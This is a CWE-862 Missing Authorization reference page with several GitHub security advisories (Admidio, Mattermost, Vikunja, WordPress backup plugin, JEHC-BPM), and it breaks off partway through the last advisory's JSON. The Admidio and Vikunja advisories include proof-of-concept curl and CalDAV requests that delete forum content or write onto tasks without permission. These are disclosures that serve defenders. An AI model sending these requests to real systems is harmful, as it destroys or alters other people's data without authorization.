Common Weakness Enumeration

CWE-862

Weakness Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Dimensions

  • Behavior-Property: Missing
  • Behavior-Type: Authorization
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-285 · View CWE-1000
  • Behavior-Property: Improper
ChildOf: CWE-284 · View CWE-1340
  • Behavior-Property: Improper
  • Behavior-Type: Access Control
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
Detection methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

Content history
Submission: CWE Content Team · MITRE · 2011-05-24 · CWE 1.13
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.16

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Alternate_Terms, Observed_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

20019 vulnerabilities reference this CWE, most recent first.

GHSA-G375-5WMP-XR78

Vulnerability from github – Published: 2026-03-16 21:18 – Updated: 2026-03-20 21:15
VLAI
Summary
Admidio is Missing Authorization on Forum Topic and Post Deletion
Details

Summary

The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.

This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.

Details

Vulnerable Code Path 1: Topic Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108

The topic_delete handler validates CSRF but never calls $topic->isEditable():

case 'topic_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $topic = new Topic($gDb);
    $topic->readDataByUuid($getTopicUUID);
    $topic->delete();
    echo json_encode(array('status' => 'success'));
    break;

The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.

Vulnerable Code Path 2: Post Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134

The post_delete handler also validates CSRF but performs no authorization check:

case 'post_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $post = new Post($gDb);
    $post->readDataByUuid($getPostUUID);
    $post->delete();
    echo json_encode(array('status' => 'success'));
    break;

Contrast with Save Operations (Properly Authorized)

The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:

if ($postUUID !== '') {
    $post->readDataByUuid($postUUID);
    if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {
        throw new Exception('You are not allowed to edit this post.');
    }
}

The delete operations should have equivalent checks but do not.

Module-Level Access Check

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59

The only check before the delete operations is the module-level access check:

if ($gSettingsManager->getInt('forum_module_enabled') === 0) {
    throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1
    && !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {
    throw new Exception('SYS_NO_RIGHTS');
}

This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.

PoC

Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.

Step 1: Attacker discovers a topic UUID

The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.

Step 2: Attacker deletes the topic (and all its posts)

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

The topic and all its posts are permanently deleted from the database.

Step 3: Attacker deletes an individual post

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

Impact

  • Data Destruction: Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The Topic::delete() method cascades and removes all posts belonging to the topic.
  • Content Integrity: Forum content created by administrators or other authorized users can be destroyed by any regular member.
  • No Undo: The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.
  • Low Barrier: The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.

Recommended Fix

Fix 1: Add authorization check to topic_delete

case 'topic_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $topic = new Topic($gDb);
    $topic->readDataByUuid($getTopicUUID);

    // Add authorization check
    if (!$topic->isEditable()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $topic->delete();
    echo json_encode(array('status' => 'success'));
    break;

Fix 2: Add authorization check to post_delete

case 'post_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $post = new Post($gDb);
    $post->readDataByUuid($getPostUUID);

    // Add authorization check - only forum admins or the post author can delete
    if (!$gCurrentUser->isAdministratorForum()
        && (int)$post->getValue('fop_usr_id_create') !== $gCurrentUserId) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $post->delete();
    echo json_encode(array('status' => 'success'));
    break;
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T21:18:53Z",
    "nvd_published_at": "2026-03-19T23:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the `topic_delete` and `post_delete` actions in `forum.php` only validate the CSRF token but perform no authorization check before calling `delete()`. Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.\n\nThis is inconsistent with the save/edit operations, which properly check `isAdministratorForum()` and ownership before allowing modifications.\n\n## Details\n\n### Vulnerable Code Path 1: Topic Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 98-108\n\nThe topic_delete handler validates CSRF but never calls `$topic-\u003eisEditable()`:\n\n```php\ncase \u0027topic_delete\u0027:\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $topic = new Topic($gDb);\n    $topic-\u003ereadDataByUuid($getTopicUUID);\n    $topic-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\nThe `Topic` class has an `isEditable()` method (lines 144-164 of `ListConfiguration.php`) that properly checks `isAdministratorForum()` and `getAllEditableCategories(\u0027FOT\u0027)`, but it is never called in the delete path.\n\n### Vulnerable Code Path 2: Post Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 125-134\n\nThe post_delete handler also validates CSRF but performs no authorization check:\n\n```php\ncase \u0027post_delete\u0027:\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $post = new Post($gDb);\n    $post-\u003ereadDataByUuid($getPostUUID);\n    $post-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n### Contrast with Save Operations (Properly Authorized)\n\nThe `ForumTopicService::savePost()` method in `D:\\bugcrowd\\admidio\\repo\\src\\Forum\\Service\\ForumTopicService.php` lines 117-121 correctly verifies authorization:\n\n```php\nif ($postUUID !== \u0027\u0027) {\n    $post-\u003ereadDataByUuid($postUUID);\n    if (!$gCurrentUser-\u003eisAdministratorForum() \u0026\u0026 $post-\u003egetValue(\u0027fop_usr_id_create\u0027) !== $gCurrentUser-\u003egetValue(\u0027usr_id\u0027)) {\n        throw new Exception(\u0027You are not allowed to edit this post.\u0027);\n    }\n}\n```\n\nThe delete operations should have equivalent checks but do not.\n\n### Module-Level Access Check\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 53-59\n\nThe only check before the delete operations is the module-level access check:\n\n```php\nif ($gSettingsManager-\u003egetInt(\u0027forum_module_enabled\u0027) === 0) {\n    throw new Exception(\u0027SYS_MODULE_DISABLED\u0027);\n} elseif ($gSettingsManager-\u003egetInt(\u0027forum_module_enabled\u0027) === 1\n    \u0026\u0026 !in_array($getMode, array(\u0027cards\u0027, \u0027list\u0027, \u0027topic\u0027)) \u0026\u0026 !$gValidLogin) {\n    throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n```\n\nThis only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.\n\n## PoC\n\n**Prerequisites:** Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.\n\n**Step 1: Attacker discovers a topic UUID**\n\nThe attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.\n\n**Step 2: Attacker deletes the topic (and all its posts)**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=topic_delete\u0026topic_uuid=\u003cTOPIC_UUID\u003e\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cattacker_session\u003e\" \\\n  -d \"adm_csrf_token=\u003cattacker_csrf_token\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe topic and all its posts are permanently deleted from the database.\n\n**Step 3: Attacker deletes an individual post**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=post_delete\u0026post_uuid=\u003cPOST_UUID\u003e\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cattacker_session\u003e\" \\\n  -d \"adm_csrf_token=\u003cattacker_csrf_token\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n## Impact\n\n- **Data Destruction:** Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The `Topic::delete()` method cascades and removes all posts belonging to the topic.\n- **Content Integrity:** Forum content created by administrators or other authorized users can be destroyed by any regular member.\n- **No Undo:** The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.\n- **Low Barrier:** The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check to topic_delete\n\n```php\ncase \u0027topic_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $topic = new Topic($gDb);\n    $topic-\u003ereadDataByUuid($getTopicUUID);\n\n    // Add authorization check\n    if (!$topic-\u003eisEditable()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $topic-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n### Fix 2: Add authorization check to post_delete\n\n```php\ncase \u0027post_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $post = new Post($gDb);\n    $post-\u003ereadDataByUuid($getPostUUID);\n\n    // Add authorization check - only forum admins or the post author can delete\n    if (!$gCurrentUser-\u003eisAdministratorForum()\n        \u0026\u0026 (int)$post-\u003egetValue(\u0027fop_usr_id_create\u0027) !== $gCurrentUserId) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $post-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```",
  "id": "GHSA-g375-5wmp-xr78",
  "modified": "2026-03-20T21:15:55Z",
  "published": "2026-03-16T21:18:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g375-5wmp-xr78"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32818"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio is Missing Authorization on Forum Topic and Post Deletion"
}

GHSA-G376-M3H3-MJ4R

Vulnerability from github – Published: 2024-10-29 09:30 – Updated: 2024-11-04 21:25
VLAI
Summary
Mattermost server allows authenticated user to delete arbitrary post
Details

Mattermost versions 9.10.x <= 9.10.2, 9.11.x <= 9.11.1, 9.5.x <= 9.5.9 fail to check that the origin of the message in an integration action matches with the original post metadata which allows an authenticated user to delete an arbitrary post.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20240926115259-20ed58906adc"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-50052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-29T16:13:12Z",
    "nvd_published_at": "2024-10-29T08:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 9.10.x \u003c= 9.10.2, 9.11.x \u003c= 9.11.1, 9.5.x \u003c= 9.5.9 fail to\u00a0check that the origin of the message in an integration action matches with the original post metadata\u00a0which allows an authenticated user to delete an arbitrary post.",
  "id": "GHSA-g376-m3h3-mj4r",
  "modified": "2024-11-04T21:25:15Z",
  "published": "2024-10-29T09:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50052"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mattermost server allows authenticated user to delete arbitrary post"
}

GHSA-G38J-7V97-X298

Vulnerability from github – Published: 2026-10-09 20:54 – Updated: 2026-10-09 20:54
VLAI
Summary
Vikunja: CalDAV relation creation bypasses TaskRelation.CanCreate, allowing an unauthorized write into any task by known UID
Details

Summary

Creating a task relation over CalDAV does not run the TaskRelation.CanCreate permission check that the REST API enforces. An attacker can attach a relation to any task whose UID they know, including tasks in projects they have no access to. The identical operation over REST is correctly refused with 403.

Details

persistRelations (pkg/routes/caldav/listStorageProvider.go, ~line 986) resolves the related task with an unscoped UID lookup (models.GetTaskSimpleByUUID) and calls rel.Create(s, a) directly, with no CanCreate check. pkg/caldav/parsing.go maps RELATED-TO;RELTYPE=CHILD to RelationKindSubtask. Because the CalDAV path never invokes the model's permission method, an authenticated user can create a subtask/parent relation between a task they own and an arbitrary victim task identified only by its UID.

Task UIDs are json:"-" (never exposed over REST) but are exposed over CalDAV to anyone who has ever had read access to the containing project. Revoking that access does not unlearn the UID, so the realistic attacker is a removed collaborator.

This write primitive also feeds the cross-project subtask-disclosure issue (GHSA-3hc7-r24j-rpwc): it lets an attacker create the very cross-project subtask edge that read path leaks across, removing that finding's "the attacker cannot create one to a project they can't access" precondition.

A secondary effect of the same unchecked path: the createDummy branch can Create a task unchecked when the referenced UID does not resolve.

PoC (verified at runtime against v2.5.0, commit c775a6c8)

Baseline control — REST refuses:

PUT /api/v1/tasks/{attackerTask}/relations   (attacker JWT)
{"task_id":{attackerTask},"other_task_id":{victimTask},"relation_kind":"subtask"}
-> HTTP 403 Forbidden

Exploit — CalDAV succeeds:

PUT /dav/projects/{attackerProject}/{attackerTaskUID}.ics   (BasicAuth attacker)
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:{attackerTaskUID}
RELATED-TO;RELTYPE=CHILD:{victimTaskUID}
END:VTODO
END:VCALENDAR
-> HTTP 201

Result: a task_relations row is written with task_id={victimTask}, relation_kind=parenttask, created_by_id={attacker} — a persisted, attacker-attributable write onto a task in a project the attacker cannot access.

Impact

Broken access control (missing authorization) on relation creation. An attacker can pollute the relation set of arbitrary tasks by UID and create the cross-project edges that enable subtask disclosure. Read of the related task's contents still requires the separate disclosure path; this finding is the unauthorized write.

Fix

Route CalDAV relation creation through TaskRelation.CanCreate, and scope the UID lookup to projects the caller can access.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:54:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCreating a task relation over CalDAV does not run the `TaskRelation.CanCreate` permission check that the REST API enforces. An attacker can attach a relation to any task whose UID they know, including tasks in projects they have no access to. The identical operation over REST is correctly refused with 403.\n\n### Details\n`persistRelations` (`pkg/routes/caldav/listStorageProvider.go`, ~line 986) resolves the related task with an **unscoped** UID lookup (`models.GetTaskSimpleByUUID`) and calls `rel.Create(s, a)` directly, with no `CanCreate` check. `pkg/caldav/parsing.go` maps `RELATED-TO;RELTYPE=CHILD` to `RelationKindSubtask`. Because the CalDAV path never invokes the model\u0027s permission method, an authenticated user can create a subtask/parent relation between a task they own and an arbitrary victim task identified only by its UID.\n\nTask UIDs are `json:\"-\"` (never exposed over REST) but are exposed over CalDAV to anyone who has ever had read access to the containing project. Revoking that access does not unlearn the UID, so the realistic attacker is a removed collaborator.\n\nThis write primitive also feeds the cross-project subtask-disclosure issue (GHSA-3hc7-r24j-rpwc): it lets an attacker create the very cross-project subtask edge that read path leaks across, removing that finding\u0027s \"the attacker cannot create one to a project they can\u0027t access\" precondition.\n\nA secondary effect of the same unchecked path: the `createDummy` branch can `Create` a task unchecked when the referenced UID does not resolve.\n\n### PoC (verified at runtime against v2.5.0, commit c775a6c8)\nBaseline control \u2014 REST refuses:\n```\nPUT /api/v1/tasks/{attackerTask}/relations   (attacker JWT)\n{\"task_id\":{attackerTask},\"other_task_id\":{victimTask},\"relation_kind\":\"subtask\"}\n-\u003e HTTP 403 Forbidden\n```\nExploit \u2014 CalDAV succeeds:\n```\nPUT /dav/projects/{attackerProject}/{attackerTaskUID}.ics   (BasicAuth attacker)\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:{attackerTaskUID}\nRELATED-TO;RELTYPE=CHILD:{victimTaskUID}\nEND:VTODO\nEND:VCALENDAR\n-\u003e HTTP 201\n```\nResult: a `task_relations` row is written with `task_id={victimTask}`, `relation_kind=parenttask`, `created_by_id={attacker}` \u2014 a persisted, attacker-attributable write onto a task in a project the attacker cannot access.\n\n### Impact\nBroken access control (missing authorization) on relation creation. An attacker can pollute the relation set of arbitrary tasks by UID and create the cross-project edges that enable subtask disclosure. Read of the related task\u0027s contents still requires the separate disclosure path; this finding is the unauthorized **write**.\n\n### Fix\nRoute CalDAV relation creation through `TaskRelation.CanCreate`, and scope the UID lookup to projects the caller can access.",
  "id": "GHSA-g38j-7v97-x298",
  "modified": "2026-10-09T20:54:43Z",
  "published": "2026-10-09T20:54:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g38j-7v97-x298"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: CalDAV relation creation bypasses TaskRelation.CanCreate, allowing an unauthorized write into any task by known UID"
}

GHSA-G3C3-Q2FM-F7G4

Vulnerability from github – Published: 2026-05-01 15:30 – Updated: 2026-05-01 15:30
VLAI
Details

The Total Upkeep – WordPress Backup Plugin plus Restore & Migrate by BoldGrid plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_cli_cancel' function in all versions up to, and including, 1.17.1. This makes it possible for unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-01T14:16:22Z",
    "severity": "MODERATE"
  },
  "details": "The Total Upkeep \u2013 WordPress Backup Plugin plus Restore \u0026 Migrate by BoldGrid plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027wp_ajax_cli_cancel\u0027 function in all versions up to, and including, 1.17.1. This makes it possible for unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update.",
  "id": "GHSA-g3c3-q2fm-f7g4",
  "modified": "2026-05-01T15:30:33Z",
  "published": "2026-05-01T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3143"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-auto-rollback.php#L1202"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-core.php#L864"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/includes/class-boldgrid-backup.php#L459"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3480378"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f25dcd7e-8fb1-471e-bd22-782409de45c4?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3C7-95HC-GV66

Vulnerability from github – Published: 2025-06-03 18:30 – Updated: 2025-06-04 15:30
VLAI
Details

An arbitrary file upload vulnerability in the component /server/executeExec of JEHC-BPM v2.0.1 allows attackers to execute arbitrary code via uploading a crafted file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-45854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-03T16:15:25Z",
    "severity": "CRITICAL"
  },
  "details": "An arbitrary file upload vulnerability in the component /server/executeExec of JEHC-BPM v2.0.1 allows attackers to execute arbitrary code via uploading a crafted file.",
  "id": "GHSA-g3c7-95hc-gv66",
  "modified": "2025-06-04T15:30:35Z",
  "published": "2025-06-03T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45854"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460"
    },
    {
      "type": "WEB",
